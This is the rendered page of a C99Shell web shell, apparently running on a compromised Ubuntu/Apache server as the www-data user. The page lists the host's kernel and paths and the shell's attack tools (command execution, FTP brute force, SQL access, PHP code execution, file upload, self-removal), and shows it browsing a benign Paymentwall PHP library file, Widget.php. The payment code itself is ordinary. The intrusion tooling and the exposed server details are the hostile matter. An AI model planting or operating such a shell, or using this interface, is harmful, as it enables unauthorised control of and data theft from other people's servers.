!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/paymentwall/paymentwall-php/lib/Paymentwall/   drwxrwxr-x
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Widget.php (6 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Paymentwall_Widget extends Paymentwall_Instance
{
    const 
CONTROLLER_PAYMENT_VIRTUAL_CURRENCY    'ps';
    const 
CONTROLLER_PAYMENT_DIGITAL_GOODS        'subscription';
    const 
CONTROLLER_PAYMENT_CART                'cart';

    protected 
$userId;
    protected 
$widgetCode;
    protected 
$products;
    protected 
$extraParams;

    public function 
__construct($userId$widgetCode ''$products = array(), $extraParams = array()) {
        
$this->userId $userId;
        
$this->widgetCode $widgetCode;
        
$this->products $products;
        
$this->extraParams $extraParams;
    }

    public function 
getUrl()
    {
        
$params = array(
            
'key' => $this->getPublicKey(),
            
'uid' => $this->userId,
            
'widget' => $this->widgetCode
        
);

        
$productsNumber count($this->products);

        if (
$this->getApiType() == Paymentwall_Config::API_GOODS) {

            if (!empty(
$this->products)) {

                if (
$productsNumber == 1) {

                    
$product current($this->products);

                    if (
$product->getTrialProduct() instanceof Paymentwall_Product) {
                        
$postTrialProduct $product;
                        
$product $product->getTrialProduct();
                    }

                    
$params['amount'] = $product->getAmount();
                    
$params['currencyCode'] = $product->getCurrencyCode();
                    
$params['ag_name'] = $product->getName();
                    
$params['ag_external_id'] = $product->getId();
                    
$params['ag_type'] = $product->getType();

                    if (
$product->getType() == Paymentwall_Product::TYPE_SUBSCRIPTION) {
                        
$params['ag_period_length'] = $product->getPeriodLength();
                        
$params['ag_period_type'] = $product->getPeriodType();
                        if (
$product->isRecurring()) {

                            
$params['ag_recurring'] = intval($product->isRecurring());

                            if (isset(
$postTrialProduct)) {
                                
$params['ag_trial'] = 1;
                                
$params['ag_post_trial_external_id'] = $postTrialProduct->getId();
                                
$params['ag_post_trial_period_length'] = $postTrialProduct->getPeriodLength();
                                
$params['ag_post_trial_period_type'] = $postTrialProduct->getPeriodType();
                                
$params['ag_post_trial_name'] = $postTrialProduct->getName();
                                
$params['post_trial_amount'] = $postTrialProduct->getAmount();
                                
$params['post_trial_currencyCode'] = $postTrialProduct->getCurrencyCode();
                            }

                        }
                    }

                } else {
                    
//TODO: $this->appendToErrors('Only 1 product is allowed in flexible widget call');
                
}

            }

        } else if (
$this->getApiType() == Paymentwall_Config::API_CART) {

            
$external_ids = array();
            
$prices       = array();
            
$currencies   = array();
            
$names        = array();
            foreach (
$this->products as $product) {
                
$external_ids[] = $product->getId();
                
$prices[]       = $product->amount ?: 0;
                
$currencies[]   = $product->currencyCode ?: '';
                
$names[]        = $product->name ?: '';
            }
            
$params['external_ids'] = $external_ids;
            if (!empty(
$prices)) {
                
$params['prices'] = $prices;
            }
            if (!empty(
$currencies)) {
                
$params['currencies'] = $currencies;
            }
            if (
array_filter($names)) {
                
$params['names'] = $names;
            }
        }

        
$params['sign_version'] = $signatureVersion $this->getDefaultSignatureVersion();

        if (!empty(
$this->extraParams['sign_version'])) {
            
$signatureVersion $params['sign_version'] = $this->extraParams['sign_version'];
        }

        
$params array_merge($params$this->extraParams);

        
$widgetSignatureModel = new Paymentwall_Signature_Widget();
        
$params['sign'] = $widgetSignatureModel->calculate(
            
$params,
            
$signatureVersion
        
);

        return 
$this->getApiBaseUrl() . '/' $this->buildController($this->widgetCode) . '?' http_build_query($params);
    }

    public function 
getHtmlCode($attributes = array())
    {
        
$defaultAttributes = array(
            
'frameborder' => '0',
            
'width' => '750',
            
'height' => '800'
        
);

        
$attributes array_merge($defaultAttributes$attributes);

        
$attributesQuery '';
        foreach (
$attributes as $attr => $value) {
            
$attributesQuery .= ' ' $attr '="' $value '"';
        }

        return 
'<iframe src="' $this->getUrl() . '" ' $attributesQuery '></iframe>';

    }

    protected function 
getDefaultSignatureVersion() {
        return 
$this->getApiType() != Paymentwall_Config::API_CART Paymentwall_Signature_Abstract::DEFAULT_VERSION Paymentwall_Signature_Abstract::VERSION_TWO;
    }

    protected function 
buildController($widget '')
    {
        
$controller null;
        
$isPaymentWidget = !preg_match('/^w|s|mw/'$widget);

        if (
$this->getApiType()== Paymentwall_Config::API_VC) {
            if (
$isPaymentWidget) {
                
$controller self::CONTROLLER_PAYMENT_VIRTUAL_CURRENCY;
            }
        } else if (
$this->getApiType() == Paymentwall_Config::API_GOODS) {
            
/**
             * @todo cover case with offer widget for digital goods for non-flexible widget call
             */
            
$controller self::CONTROLLER_PAYMENT_DIGITAL_GOODS;
        } else {
            
$controller self::CONTROLLER_PAYMENT_CART;
        }

        return 
$controller;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0122 ]--